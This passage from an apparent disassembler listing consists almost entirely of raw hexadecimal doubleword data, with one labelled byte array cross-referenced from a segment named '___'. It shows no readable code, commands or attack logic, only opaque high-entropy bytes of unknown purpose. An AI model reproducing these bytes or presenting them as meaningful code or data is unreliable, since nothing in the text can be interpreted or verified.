34C48CA6h, 0CB298Ch, 7144969h, 0E0DED5FEh, 84BCD81Ch dd 58A3CE4Ah, 0ABED115Eh, 901FA8FEh, 34C855Ch, 0E097CD09h dd 90AECEA0h, 0F4C39400h, 2ED0D5D7h, 0BC95589Fh, 128DC701h dd 608B1A97h, 409A8ABFh, 0A3231D07h, 0DBB30E8Eh, 7B313822h dd 9BFFE283h, 9890E8B1h, 83ECB70Bh, 0EBB4F904h, 748C2D36h dd 0EF192134h, 0F45A78h, 7754A0E7h, 0D9845C20h, 0D101F0FCh dd 96193F92h, 40D21015h, 805ECFCCh, 0F49AD467h, 0B9C6801h dd 0C023D010h, 7E1C8050h, 0F34F0151h, 61C947E7h, 0F0AC4AF5h dd 478E5Ch, 4DEAAD63h, 879143F5h, 0A0942A48h, 937FB061h dd 461682D4h, 44BF2EE3h, 84884D8Ah, 58499D80h, 0F1D5F3EAh dd 6B800433h, 0A0EAFB0Ah, 0BBA3A601h, 6A4D4A6Ch, 12AE35C0h dd 3A0165BDh, 0DC4524E8h, 54CAD0h, 30860E8Ah, 81B71FE7h dd 0DEE97B26h, 0C0847E15h, 991D01Ah, 4CB72802h, 93E801A0h dd 0B05D55Bh, 0AC0F456h, 4D4B4E07h, 9EAFD4EEh, 5E5DA880h dd 39E86B6h, 3766E846h, 81001BC0h, 94B0A106h, 10B82D9h dd 67E6E916h, 306DB64Ch, 81220664h, 0FE820012h, 56156B6Ah dd 0E6F4F1D6h, 64885224h, 7DB18955h, 0F5F008B0h, 0EF4E2C05h dd 8313FF64h, 348D7000h, 74099097h, 22BB3EE4h, 570CE124h dd 216AEB00h, 9D65356h, 4F58C6B8h, 9F180421h, 83E7C401h dd 84B7E05h, 0FC2AEE5Dh, 0EBA68CCFh, 690AC823h, 0F40D8381h dd 3650D680h, 38F1743Fh, 8052EBAFh, 2CEF909Eh, 20F42803h dd 0E8997EAFh, 0C08090C8h, 0EA4DE712h, 18204C07h, 2FFF1101h dd 0BC8D6FEBh, 10E03630h, 10956048h, 54127C71h, 2831C463h dd 0C75BD932h, 3BB0118Fh, 3FBE264h, 168115AEh, 3C3C578h dd 0A03031FCh, 600E62E9h, 3961B920h, 34225F38h, 61E94021h dd 337174E5h, 427020h, 0C68F648Ah, 0CFC5F85Eh, 892BC800h dd 61063CCEh, 9C53555Dh, 0B3570C50h, 9D84A020h, 401B6E84h dd 6CBFA001h, 6E9C70A5h, 0A8C5E904h, 90228Dh, 134BB78Eh dd 19EB11h, 141DE0F8h, 0BF06846Eh, 548E1395h, 37BC02A0h dd 589FB7A7h, 0CDD5E4A0h, 90A8AE0Ah, 90932325h, 0B69DF484h dd 639448C0h, 0E24C984Ah, 15C8A4AFh, 0DC16DD96h, 13E3F301h dd 7012D162h, 97248704h, 9101DFD7h, 0A3E91E6Bh, 0CDE73440h dd 590E3015h, 8824A088h, 8BC0F601h, 0EA191290h, 7DD53188h dd 8F0DCB03h, 241FF85Ch, 489F6F45h, 7108843h, 59B48006h dd 31CE04h, 914952B7h, 0AB7A2E44h, 0C85CC728h, 6C7DB1F0h dd 0E03988B2h, 66A20305h, 914F7C56h, 1081FDE6h, 76FCF9EBh dd 0DD0FCD8h, 426B49C0h, 29721C6Fh, 220988Eh, 9E0997E5h dd 2DC1188Eh, 4D8F4B7Ah, 84589D14h, 2B801469h, 321C6EE8h dd 118D1298h, 30401145h, 70A3C984h, 0E23890Bh, 3917A511h dd 738E8585h, 77A49C38h, 10198BB0h, 23222332h, 38523942h dd 9D562ECBh, 43240830h, 0ABC7D9h, 9752101Eh, 0FBEFBE01h dd 7BECF7E6h, 79119C4Eh, 0CF8BC075h, 575262FCh, 9C2B38C4h dd 0CA6B0818h, 64F8D20Ah, 139AD9E2h, 0CC8221D2h, 1894EF64h dd 0DFBF3E05h, 0CC4203B4h, 0B81D3C16h, 1CE19044h, 9402EAFCh dd 0B002CD1h, 0B2100638h, 72E81C8Dh, 8EB050F7h, 0B4A513A7h dd 6BAF70B0h, 7E50A4DAh, 0A01B50EBh, 3D0374C0h, 1139C512h dd 136D4B89h, 0E1484888h, 18175854h, 40CE63CBh, 503F7672h dd 0F2A0E332h, 598003Ch, 7BEF8784h, 4BF9D42Bh, 0B3CF0850h dd 93ABC0E1h, 0E52B0684h, 2C8244FBh, 0A3E31C82h, 7D78B18h dd 15FEEC9h, 9288FCE5h, 85291C1h, 73E16255h, 0E12A885h dd 0A89C0B38h, 56650C07h, 5505103Ah, 0C7BBEFB4h, 678A42Eh dd 1BEE4B1Ch, 9263F9AAh, 1EFCB260h, 0F15B7210h, 413D5518h dd 0F2E7E3B0h, 0C0CF89Eh, 60E470E2h, 75F0921Fh, 1BEC1AC6h dd 0E08C509Ah, 19628869h, 4725C2C8h, 67B030CCh, 168BE178h dd 7E2B51h, 29B8A5E5h, 0C757B262h, 0D0640244h, 10D1EA12h dd 56016E0Bh, 1153593Fh, 703251D7h, 0D5EF7098h, 9FA12621h dd 43412EBh, 0DE9D21D0h, 80253A88h, 53871BF0h, 6A306B75h dd 5100F00Fh, 0D9E9CB43h, 2B90503Eh, 65520671h, 728081A8h dd 2980AAEEh, 3FEBAD2Bh, 0C8C5EAF9h, 60308999h, 31E8E350h dd 0ABF1313Ch, 1C59DCEBh, 8018E552h, 909C88A8h, 54E9C732h dd 0C7B9C2B4h, 13635E38h, 4210AF50h, 6743D70h, 8F80B045h dd 9A8AAF77h, 0AB4002FBh, 0A5064AD4h, 8F013CB2h, 805E211Ch dd 0BAB58B0Ah, 0FC41C501h, 60049106h, 22DAA92Eh, 686BD9C0h dd 3A450170h, 85097397h, 980275D5h, 0D467E88Ah, 0EDEC4100h dd 1BF8E62Eh, 406C4B40h, 0C81871FBh, 0A510A085h, 11242455h dd 0BA2858D8h, 0AF61DD7Bh, 87EE2BD8h, 3C03944Eh, 9B69726Eh dd 200B680Ch, 2BFEA08Ah, 824C06C8h, 0D884AE7Eh, 0D4EBACA1h dd 0B7F9F0B0h, 1974B374h, 80A07B53h, 0FD87F650h, 0CB90C699h dd 0D90A3842h, 180DD4CEh, 24D185E0h, 0AB80A813h, 6C539B0h dd 2B036056h, 9849ADB9h, 9E8B5814h, 0EF4DC024h, 0B2D36C44h dd 0CD2FCF4h, 0B6643996h, 0DCAE8DB8h, 9345FE03h, 8874F6A0h dd 24C8BB4Bh, 507459A3h, 6B187B67h, 2B284B87h, 3950C912h dd 0AD483014h, 0F37E18B0h, 0F56C0B28h, 1C809C23h, 31135320h dd 97CDEB81h, 0C008A441h, 815F898h, 6640A6E5h, 3FA00259h dd 2C8CCAD9h, 0AB533CB8h, 0F0471C2Ch, 418BD042h, 0DC202080h dd 405B6385h, 409F2359h, 3C510A79h, 0DE601091h, 61BCB0CFh dd 4DABC0D1h, 80A42391h, 9A45C7E2h, 8B28C0D0h, 0F93C1F3Fh dd 57E0263Bh, 2BE30650h, 23165BCh, 96D58A6Bh, 7467B099h dd 5F6DAC83h, 4B89162Bh, 923C02CFh, 5441DF35h, 143C786Ah dd 7F98C3D2h, 9BEC2204h, 6882B6FCh, 0A5E5608Bh, 62562633h dd 0F4DC5970h, 1F40FAA4h, 0B020302Bh, 0ECF6E738h, 24982E90h dd 352E6516h, 0EB19AC16h, 6460E870h, 0AFC23E05h, 953DB0Eh dd 6F863B80h, 0D160B21Ch, 10D5CF81h, 59B900C5h, 0D7031BEFh dd 6D59B21Dh, 85E30FCh, 14224CC5h, 0B40C8507h, 28E7650Ch dd 25626110h, 0C1DF5488h, 0B8617E20h, 0A02884Bh, 0B8E9EE98h dd 60583849h, 3626928Ch, 311218AFh, 4D250005h, 19724480h dd 5208CCFEh, 820E45A8h, 82C5072Eh, 45921C90h, 0AC7601CCh dd 8AEDC259h, 0A890EB60h, 0FA651205h, 116C409h, 8EC38534h dd 982705E0h, 629BE850h dd 1F64280Fh, 0E09E7863h, 3C6363E8h, 22CB89E8h, 90A53708h dd 8E107D3Ah, 0CB0C0D2Ch, 0BBB80C81h, 0C6F9C4A3h, 2620703Bh dd 0CE607865h, 0E565B803h, 84884C2Ah, 7BAFF3A0h, 6CF46724h dd 0DD31F87h, 4589FCFAh, 65280169h, 0A898D8AEh, 80051079h dd 4AC570C1h, 66F00CA7h, 0A0B0C474h, 37308351h, 0D1D4C1ECh dd 0A1488947h, 8B08027Ah, 0D4C8C086h, 50149077h, 3345C4A6h dd 0C618091Ch, 0BCBB200Ch, 669F1099h, 20013834h, 94A27B18h dd 0A0AE0E68h, 0C1A15E0h, 0AC8CE512h, 14611C18h, 0CA5E3A0h dd 5420C0F1h, 3322335Bh, 8874A450h, 8AF09E41h, 319BF832h dd 31082FD1h, 71DC4182h, 4BA020E0h, 0A40C68DDh, 0C384F0D7h dd 859F2520h, 84610828h, 77274518h, 8371D938h, 53028E6h dd 0B445087Eh, 24589875h, 0B9819E4h, 7C03F67Ch, 201B8416h dd 0DB38DF15h, 4110308Eh, 120CE570h, 72481890h, 4A920C1Ch dd 74128D6h, 58BBECFFh, 32DB4121h, 378C2027h, 0B2101109h dd 189860E9h, 48C4A06Ch, 0F21C0AA8h, 0AA4BE81h, 38C0B1BDh dd 2FE0B051h, 5058C19Ah, 0F4F262E8h, 9B35EE4Ch, 2F0E08BDh dd 441240A6h, 33851024h, 0A910AB33h, 24B2583Ch, 6B18E434h dd 48D97B30h, 0CA264CF2h, 0EF1B0940h, 57857002h, 0E4D2A840h dd 14101325h, 3CD50400h, 0D1E17980h, 437EFCA0h, 0A00AF0B4h dd 909338E5h, 14C09214h, 14E48A05h, 10F0357Bh, 1B0CA9BBh dd 0F270CFA2h, 0B4A250B8h, 937530A4h, 0F9312044h, 76BBA002h dd 20A5C420h, 5326AE09h, 0D29210C8h, 0AB558806h, 8A183320h dd 10004450h, 4130BD25h, 0E815772Ah, 3FEC034Ah, 17C0CA46h dd 0F79F181Eh, 39B6A07h, 41808F8Eh, 4052DDA9h, 3A491DD0h dd 0FC0FACCBh, 5F1EA873h, 0C5FD0D55h, 79EED028h, 4FB118C7h dd 78505DC3h, 299C2008h, 7583C3Eh, 0AFDE57BDh, 701446h dd 0AC30F40Ah, 9F087A7Dh, 0B3D8FD00h, 0A7559D9Eh, 5F8A3041h dd 0DE87EA08h, 0B60EA0C0h, 685D9Eh, 4ECA8BB1h, 0D4AA956Eh dd 0DDAC0701h, 0A4186B5h, 0C8872A21h, 8388C6BBh, 0F8180E13h dd 0F83823E5h, 0DAE1E922h, 3878A9E4h, 0F780C864h, 454F5AD3h dd 0F003F534h, 0A8714B04h, 4654B03Dh, 85071EAh, 0E025AA8Bh dd 56CC3BC0h, 0F6A41E2Eh, 9233C0F0h, 386E1DAFh, 2C7D9A0Ch dd 0CF78781Fh, 20D48A88h, 0A1F8CAh, 0F34CABE8h, 97511CC4h dd 65341894h, 8F00F5F6h, 24F3443Dh, 1D9B3CA6h, 32FE69Dh dd 0A87454DDh, 0AC13E0A7h, 0B505B8FDh, 52013DAFh, 5BE7E007h dd 0CA2B5DC0h, 7D4A1446h, 54249818h, 0E0B39500h, 18111018h dd 1490E1AEh, 0D8EE8A28h, 0A41C1D28h, 6420CB6Fh, 801FBAh dd 19A8DD6h, 9B3AC4BDh, 9039A37Dh, 0FD15AA90h, 81388804h dd 449084C0h, 1BAAEA18h, 0C5426468h, 0CED2660h, 2A9852B4h dd 81A0B33h, 9DA9C82Bh, 0E07363FFh, 8377663h, 0B2828092h dd 0C63040EDh, 0F008C62Ah, 9933C853h, 0B6E73840h, 18446329h dd 7DE159C8h, 1238BA36h, 440715D7h, 3DC35C5Eh, 662170AAh dd 706E3051h, 28C62DF8h, 0F80829FDh, 3C1648FFh, 9D103730h dd 18C6E96Dh, 3370464Ah, 8A80E162h, 0E0C91110h, 0AAAF064Eh dd 7A98083Fh, 21480961h, 4BD19F01h, 496A7C20h, 0CD24B062h dd 0A33D0870h, 8E38A0Ch, 743549EAh, 0F0737B7Fh, 20E965F4h dd 0CAD40222h, 69039248h, 18681428h, 2602E014h, 740A40B2h dd 806E48Fh, 6531A0E7h, 0F53770CAh, 0F653A88Ah, 0E8751BA8h dd 10F726A7h, 90047D32h, 0E4A44862h, 266AE85Eh, 0F046CB8h dd 0A83B4E3h, 8AE0BE0Bh, 0A8CC8FE9h, 314A88CAh, 2770FCBDh dd 0D4BC4135h, 8210BCE5h, 8192C48Fh, 0B3184082h, 12C51239h dd 0A08470ACh, 2424969Bh, 840998BFh, 0FBE43816h, 82D19A7h dd 0F9E420BCh, 0F4DC423Ah, 0A7D9840h, 24DDE0C5h, 3FBF2C30h dd 443444C3h, 0DD38BD61h, 0EC433E77h, 34387B14h, 8AF0B32Ch dd 0AB097C20h, 333C213h, 0B530A4D0h, 68F1940Dh, 0C9B2EDD0h dd 0B4805BD8h, 47B469CAh, 0D24458E9h, 558C0B2Ch, 0AB048833h dd 754826C7h, 60B02848h, 6D81C029h, 1499EA84h, 0EB5E4A40h dd 40BD6FC0h, 0CCB4D56Fh, 58A670h, 0E9E83A53h, 0C4F0C996h dd 0CC0D848h, 0E8FA520Ah, 80EF48B3h, 74D81328h, 12D4901Dh dd 0F7E452Ah, 0D8D9BBC0h, 0D8CC2153h, 818074CEh, 8D38C940h dd 4BD1BC23h, 72949DE0h, 0D5EA8B00h, 227D9C45h, 8A950E77h dd 1D828EA3h, 0C065B4h, 9C785996h, 0AF934F00h, 40ADC07Dh dd 90C9EEAAh, 72D8034Ch, 669ACA95h, 0D9A02CA5h, 99FB800h dd 0FC6E60F3h, 36CF0786h, 2E923715h, 0BD9A880h, 0D8074882h dd 9824421Ah, 8CE702F1h, 13FFA2FCh, 0BE50374Bh, 81CFCF00h dd 0E83A26D9h, 5C6E3061h, 0E89537FAh, 0D5296474h, 968118FEh dd 7DC22EF7h, 9768BC00h, 155370Ah, 92401450h, 0FA800257h dd 1C6E0CB0h, 0E6A0C9F0h, 18908A66h, 0A6750560h, 604982A5h dd 3AF36A20h, 344D5E00h, 68B67C6Eh, 4CB50A37h, 0E064D91Fh dd 9EEB9A34h, 0DC304C60h, 1A3102C7h, 385E1FD5h, 2D091830h dd 647F8F00h, 473C6DB7h, 530E98ABh, 0DD0044DBh, 63BEDCCCh dd 9C186C11h, 97B8C85Eh, 2835E8AAh, 0FE946529h, 62DE0020h dd 0C2DF0731h, 32146F84h, 0C13C7475h, 0E99CB512h, 8AA3FC10h dd 586848CCh, 83DD3095h, 15E06E40h, 2D3E2273h, 33C11932h dd 0F0470808h, 8E44CCEh, 0F9A7CF2h, 0DF124DB5h, 14DB4280h dd 0FA629362h, 3B40D10h, 0A2E0DEE3h, 0E2F0B277h, 68C705FAh dd 82C1B529h, 0A2E0EB71h, 163F3EA7h, 18E3D33Fh, 401EF842h dd 243FD85h, 0C1163A4Dh, 0E2D0472Eh, 0DE1D06EBh, 207C91C2h dd 0FFD04141h, 0E3CBF922h, 8182E27Fh, 1630FD04h, 80310BE0h dd 10C7B65h, 0A0ECCDF5h, 10A14810h, 1F9E747Fh, 3CE03262h dd 0F0E37D18h, 448FFE4h, 0FFA3A4Ch, 0E6C4B815h, 1A85D95h dd 0BE2E742h, 9BE97762h, 0C2E8BEC0h, 0C28083C4h, 21818D6h dd 9F4228E5h, 0CAABF840h, 3F9C4609h, 70DD6370h, 55A1D5F0h dd 955D3061h, 0E8E1CDEAh, 0F8F9024Bh, 150E8D2Bh, 3D06442h dd 0E1F8D135h, 288353F5h, 4A6D7B5h, 0D8FBC6C4h, 0C2F8CC61h dd 0E08A1BA9h, 0D9845B7h, 0F528A0A6h, 0BBE080A3h, 3AE21599h dd 89A4A019h, 55310EFEh, 0F58001FAh, 0B505D723h, 15384867h dd 33E87936h, 0F9B8E9F7h, 0B5E50920h, 10C497F0h, 0EC8E4ED8h dd 0C7C83C3Ah, 44C6824h, 84AC325Ch, 0F0146010h, 4520CC59h dd 9BBC3A66h, 0E0523448h, 47E3080h, 28C96943h, 1E8821Ch dd 5314B035h, 0B0AF482Fh, 73197C80h, 0F54CB501h, 62C4761h dd 129E80DBh, 11DC1881h, 89D0F886h, 0CEFC4090h, 71028098h dd 0F5A2D832h, 9E88076Ah, 848A0C9Fh, 0C27C4110h, 0ACA0ADE4h dd 4898EF95h, 61DAB51Dh, 8BA5013Ch, 0F6BFF532h, 0A6C0BC40h dd 460AE05h, 31BC611h, 2024D167h, 0A6010E95h, 5E4F7EF8h dd 88D60126h, 0C1CEB089h, 81C78C84h, 208AE2E8h, 82682ACh dd 630300A2h, 0CB42DFEEh, 35C0328Dh, 2C656208h, 39D87B01h dd 60865FC7h, 0B8FD32FCh, 0D5A85150h, 6C087124h, 30807E14h dd 35312442h, 888E504Ch, 13D0902Ah, 25A5FC2h, 31ED5870h dd 1B819C65h, 0F7795A07h, 285C4060h, 31A41559h, 0E358933Ch dd 0EEA4415Bh, 0C54C3077h, 82D83405h, 148E4DCCh, 9828DE1Ch dd 4ABCB9AEh, 0E2901C64h, 95C214C0h, 94DEF167h, 98E00CA8h dd 1C897340h, 8238B363h dd 0E20813B8h, 0F5D0093Fh, 0DC94580Eh, 686023B2h, 0AD585E22h dd 88642030h, 9007C710h, 0DC4CA858h, 0C0724C1Bh, 49287E37h dd 20058C14h, 497DA1DAh, 3D3C4080h, 1532129Eh, 0D8E0102Ch dd 0FE47BAB0h, 285EF020h, 26D4139Ch, 9404495h, 4C0A9082h dd 0C4385924h, 99C6EECDh, 263094FCh, 904A8C2h, 8A55895h dd 0EA683073h, 4B59A3C4h, 5B5C13A8h, 67428C01h, 0CC4B0BF9h dd 0F7D02A01h, 211601Eh, 2C0602Fh, 52E0B0EFh, 848E8082h dd 31164A3Bh, 8404AE1Ch, 0A8D35002h, 35981AABh, 8C650856h dd 4E85539Fh, 0E803F218h, 24EB787Ch, 89840640h, 201C5131h dd 9A957405h, 0D453627Ch, 8002584Ah, 0A1FFAB51h, 3C0158CDh dd 1C582121h, 70091D14h, 25CFF53h, 0C2179C0Ch, 9578395Ch dd 92AF40ECh, 0D6FC02FCh, 0BC7502AAh, 66260C0h, 0A09108B8h dd 0B7894A60h, 70789227h, 0E7A4405Ch, 0C08E869h, 261BF833h dd 58800BDAh, 61243069h, 0BC8B347Bh, 42EC826Dh, 0A570C36Fh dd 8B21860h, 5AD52069h, 48D40B7h, 35912455h, 0FF5F7164h dd 54C9A81h, 3AD18C2Ch, 0F8A89C86h, 12DC2CD4h, 0B0F50B58h dd 7D758801h, 9FD8428Bh, 0E0D4F8AEh, 299AE218h, 309863E6h dd 7E581158h, 0E06E9826h, 0D803D21Fh, 0A5BCBBE2h, 240EF0CBh dd 36E0C1A1h, 13C6C0Eh, 7160A765h, 0B215B080h, 4378CC8Eh dd 65499538h, 78EE2CD4h, 0F0B7B50Ch, 70AE6915h, 806F1086h dd 5BA75A05h, 9C70DA6Ah, 5E8A9252h, 9C23F0A9h, 0B94B74Dh dd 160BEF59h, 309B06A0h, 3060BB1Bh, 91DDFC18h, 918E0AF0h dd 0C115C778h, 205AAD2Fh, 9C515C5Ch, 0C0542298h, 823BE11Fh dd 0BC58C454h, 0F4750ED9h, 0C1F842B4h, 646A7D27h, 0EE1CB982h dd 40B8375Dh, 0C30B7DE7h, 0E24674Ch, 328464BCh, 768D1CC8h dd 43830010h, 7EB3E033h, 0AB00EB8Ah, 65BA863Eh, 0E8B05009h dd 0A314A08Eh, 404610CEh, 79E010Fh, 52A965C0h, 0C8B06B1Ch dd 2826FF30h, 2B99197Eh, 1288965h, 5E642BBEh, 0EDDE016Bh dd 1C532901h, 6FE20020h, 0AECCF012h, 65E445BEh, 8359C923h dd 0FDA30937h, 121E790Ah, 0FD5064C0h, 4E52107Bh, 30FE0A1Eh dd 0AC503CBEh, 70DE2AF4h, 505E1B8Ch, 7FF0C835h, 1100E968h dd 0BC49366h, 31E48DB5h, 39485AC9h, 5784A5Bh, 6C798BB7h dd 0D9E4B420h, 660701B8h, 0CCC96F1Dh, 42088C27h, 0C78CE053h dd 2CF88908h, 78C38270h, 0E74CFA09h, 8D030C80h, 0F0C4FC04h dd 0ABFD2949h, 87E30038h, 0C01EBAD6h, 739EA414h, 70F6F0D8h dd 8A793088h, 561C7E28h, 5947C7F6h, 6BA57D02h, 0DE027EA2h dd 0E99C803Eh, 8664B772h, 2E30020Ch, 4BE51DEh, 67B92B69h dd 0E8847051h, 293863CCh, 4842CE1Eh, 0DB66C0ECh, 0D1C227h dd 4FEA4BAh, 0D8A964B6h, 0C3907451h, 5D491002h, 0B0E7BE8Ah dd 1823CE48h, 40DB5999h, 0F600FB5Eh, 308F0492h, 0A6653D78h dd 54EB0C18h, 3E71455Fh, 683BDF03h, 0A572EC49h, 0D1C7870h dd 9E02441Dh, 0BDFAD310h, 78469FB0h, 58D79D30h, 0A09BAB7Eh dd 242606C8h, 53182488h, 14A46198h, 0DE30D860h, 9168414Bh dd 0C453602Ch, 0F6A2E4D7h, 6B3B801h, 2E04BB8h, 0BF462BBCh dd 1640E1Eh, 387C8EBBh, 3FCB0C5Dh, 24FE2846h, 701C724Eh dd 262A5AB5h, 5E129486h, 0B838C742h, 26520A0Ah, 81A8CC60h dd 27BE68A2h, 0C7088D95h, 44181143h, 3079F278h, 9E38CE59h dd 0BE0C96F9h, 3062EBA7h, 0BC912B29h, 0AE508174h, 8A0F20h dd 1178227Eh, 0C3516968h, 0F2AD0DCEh, 85DE007Dh, 0E41D386Eh dd 40977B6h, 72B00E64h, 0A31AC28h, 0D3C5D124h, 2E4480B8h dd 0CFEC7BDh, 2834D224h, 759A150h, 3FF1C19Eh, 69E98CFCh dd 8528606Eh, 8244D85h, 8D0468h, 58DD7E93h, 4E9133B4h dd 6E885300h, 59386973h, 0B3F8CAh, 0CE794A51h, 0E6D1189Eh dd 0EF6D5000h, 7DC1104h, 94705C12h, 7861F118h, 44003A40h dd 0E322F2F5h, 74AADB2Eh, 5980F5D9h, 0BD4B2019h, 0D0E809Ch dd 0EE700709h, 0E798A384h, 498002Bh, 15FD5C26h, 74014FA9h dd 9B727F0Eh, 20803049h, 0F738DC4Bh, 0BF03A314h, 39AA5747h dd 0BA481077h, 3883C09Fh, 21F2BFA0h, 0E3089B67h, 0DE7E0002h dd 43110938h, 0CD2D8300h, 6E0D4281h, 71650252h, 7286B068h dd 1E17A8A1h, 0E411EC05h, 301C2007h, 0DC40E2E1h, 0E06067B8h dd 3F0600E8h, 44B508F3h, 0A1E49039h, 0B385E500h, 0BACB7A29h dd 0BC714Dh, 8E922693h, 6B13987h, 0E0E1F600h, 6A6F8BC3h dd 2D5A2A68h, 0F934023Ch, 21542497h, 81BD0218h, 5F06C82Eh dd 6BF51603h, 0C06166A1h, 6211C383h, 4475E84Dh, 0F0921448h dd 0B5A94C00h, 9224F1Eh, 0EC11EE6h, 0C00B9B1h, 10774D49h dd 54806569h, 0C5C30047h, 3BFEA150h, 0BD0035A0h, 83E8BE2Fh dd 7B305F9Ch, 31706061h, 0F0E2253Fh, 0BCB6D900h, 97237CC8h dd 7913002Dh, 0D8FDA076h, 880037ABh, 85C20D87h, 30268ABAh dd 51A04FAFh, 149070FAh, 602C310Fh, 3EB1A00Fh, 1C27581Ah dd 0C0211E93h, 0D6530625h, 92F64050h, 523C1B0Eh, 6FAA4733h dd 0DA86DFE3h, 0F4A0ACAEh, 0CEEA0096h, 0E48031A0h, 67507704h dd 0C321FBF0h, 0F9030075h, 268C1178h, 0B9332086h, 51C1D71h dd 0DFEC4CF3h, 208B7A01h, 0C3F882h, 0BBB0B750h, 6490EA33h dd 92D31000h, 0DFD9C41Dh, 0B6B92499h, 0F7F880BCh, 0FA7D9DB1h dd 0B548B202h, 2083FC6Ch, 7EF62F44h, 0E005AC00h, 0CFEBFF35h dd 164A00CBh, 0A829D025h, 0FDF10F30h, 0ACFCD037h, 17991009h dd 8858173Bh, 56042E8h, 27959DBh, 548A46B3h, 0A840A91Eh dd 4828D658h, 90CB038h, 58B1C1E2h, 0E7E90076h, 3198B486h dd 0C700910Ah, 85DA196h, 650713h, 798516A2h, 56CAEEEFh dd 3A7AFF0Ah, 0C91FF04Ch, 0A745AB00h, 2E77B6Ah, 0DD42AF92h dd 2040639Eh, 0AB000B76h, 0FD9CD61h, 0D70DBDh, 0ED44C3C9h dd 18B74D78h, 3724FC00h, 9ACB3827h, 4FAB0012h, 0C544EFF8h dd 0FF010454h, 0D9A2E94Eh, 64D02A48h, 1A7B70h, 0D4277DCFh dd 83984FA5h, 0BAAFA603h, 0F0C956FEh, 1C71FB5h, 4F3C88A2h dd 40A711F3h, 0F75471E1h, 8C50400h, 0EA76488Eh, 0F8EC00B7h dd 5B74799Dh, 0BD0C6C1Fh, 82384B4Eh, 12EA16h, 0B1970F2Bh dd 9A55D17Fh, 0C885A000h, 0BC51E62Ah, 0FEF800BBh, 0B7D7399Eh dd 5A003A91h, 3FFC695Ch, 198552Ah, 82780F8Ch, 0FC293BF1h dd 8C01D15h, 985F5B1Ch, 7A99056h, 0EBB5CCB7h, 0DE58B049h dd 0AB00B072h, 0C11BF27Ch, 0F173C3h, 0B256DCBAh, 0ACAA2E9Fh dd 0D9A3E200h, 58709DF6h, 4E8D1DDDh, 551CC093h, 725CBB7Ah dd 10C090FAh, 0D71AF1F8h, 0A0B50365h, 9EF0CE2Dh, 334B26A0h dd 47AF5500h, 62692A1Dh, 100A139Fh, 3EBC036Dh, 0CBF01231h dd 554C2961h, 80810046h, 91B1EE68h, 9900034h, 1AC928DEh dd 40073F1Dh, 0B6FC7050h, 0D2E5A10h, 0AC84A0EEh, 350E0089h dd 52BD7BB4h, 0D13A9C60h, 0AC94541Eh, 316C7707h, 0FE20E31Ah dd 19BF81h, 3F203871h, 4229B9FFh, 160FEEE8h, 0A022AFC9h dd 9B591F06h, 53400096h, 97C6A1F6h, 5E7ABD07h, 7547D114h dd 1DB78780h, 4DA5D770h, 0D13084D3h, 45A1D8ACh, 0A737071Dh dd 71C2EF47h, 80A419DFh, 0BEEC8248h, 0F872A6h, 0C370D441h dd 7EC1BBAEh, 0F4C61700h, 897D6F80h, 86C707F8h, 60846C73h dd 0CAC82BF5h, 9153771Eh, 7FAC5FC0h, 3B618886h, 1100049Eh dd 3AB639A0h, 0C800792Eh dd 6096D763h, 1402361h, 8D82CF47h db 54h byte_530055 db 0C9h, 0B0h, 80h ; DATA XREF: ___:off_4380E4o ; ___:off_4380FCo dd 0D60DE181h, 1F9BCDh, 6CFDDF68h, 945C4B2h, 0BA208060h dd 3CBD565h, 0A38491C7h, 8187323h, 60207F52h, 0BCDB00CFh dd 3618C579h, 1200514Ah, 0D0FE5D78h, 399A762Eh, 7F80A920h dd 95808D2Fh, 3D00BCF8h, 17071DBh, 31D904Dh, 50E19C12h dd 5800440Dh, 0F2872D9Ah, 76C28Bh, 12AB0272h, 7779B50Eh dd 8D7AFDFCh, 528C4303h, 807F7610h, 1DD8A3D5h, 8032B7B8h dd 9AE0E298h, 86000DD6h, 0CFDE22C9h, 6FF2B121h, 5028E8E1h dd 55D53760h, 30724658h, 395A311Ch, 85C306D5h, 0D0BD9A7Ch dd 41A9CA81h, 0BF2332A4h, 55E00129h, 995FC5E3h, 202100F3h dd 0E476A728h, 830022FFh, 150538EAh, 0C83FA1h, 4C48BE72h dd 718D92CAh, 6E3D3507h, 0C0AF5336h, 81554DFAh, 0F49F0077h dd 93C26078h, 5300C414h, 0CF26724Eh, 0D64AE62h, 21D1AC4Ch dd 7FA68030h, 0CD944FFAh, 77380E1Dh, 6B80EFC9h, 477C5451h dd 98FBC100h, 999A14E6h, 118F1C61h, 0B72A0031h, 0A66702C2h dd 0C0BA9E06h, 89CFB2h, 0AC690F9Ch, 1336EC94h, 31F7E51Dh dd 91213418h, 0B6680196h, 0ECC6BDDh, 0F820F17Ch, 0BD008B58h dd 40FB9571h, 0D76F8Eh, 413DB81Bh, 0AA93CA3Eh, 1FECA7E8h dd 6D359501h, 0FA435F21h, 0E849BBC0h, 3403EFBAh, 2A553980h dd 80EA5A3Eh, 0B808AF74h, 42DD92h, 1A5C5760h, 0CC40076Bh dd 20A86E00h, 1E7F3E62h, 0B6C50014h, 0AB3CA94Dh, 8C6AE13h dd 120692Ch, 6BC47A7Eh, 0C77090A2h, 0DD529100h, 0B12B2994h dd 0D15C005Fh, 81588D97h, 0E3A9814h, 9E2D00ADh, 8560BF5Ah dd 1078C872h, 8C3B2EC0h, 4239754Dh, 687710ACh, 0C5195C0Fh dd 80409360h, 761254C7h, 0D206D91Eh, 0F9A170h, 56AB130Ch dd 318A655Fh, 373CCC0Fh, 7D986048h, 186B9768h, 0B8802E1Ah dd 0B20C401Ch, 107F880Ch, 5A9D135Eh, 27E607DFh, 2280936Dh dd 3DFBA8A3h, 5A1C53B8h, 24B30960h, 0F94E738Ch, 4F400EFBh dd 0F0E03B2Fh, 0D3F65B4Dh, 0FB367E00h, 5D9143D0h, 986C37B8h dd 4FC300F8h, 0DC535886h, 92DE10F0h, 93469C0h, 4F43BF21h dd 0D0215B30h, 2EF435B2h, 60ECB903h, 104D7BF6h, 0C1168DD0h dd 0FF145FB8h, 2068C8A2h, 0FE003B49h, 54165FC9h, 0E4BE717h dd 37BC692Fh, 0F0C29F60h, 52003B27h, 0E22213E0h, 75C02EEEh dd 4016151Ch, 5410A03Dh, 5A0FC003h, 0A438BC25h, 808B7F38h dd 5A0730E1h, 0EE4E0499h, 90A01440h, 41C302C4h, 0FC5739FEh dd 195406FFh, 0F91E0050h, 5F7795EAh, 20544702h, 8A00ECDCh dd 0AC96B494h, 0E2F4881Dh, 0FC78A0h, 5EA40CCh, 2914C781h dd 0B49D8009h, 0CA343054h, 48B004C6h, 21AB3359h, 8008C2Fh dd 300C51Dh, 0E60E07E9h, 1BF4718h, 0C17054B6h, 0E83A672Ch dd 0B759E3Dh, 0E3AB9D00h, 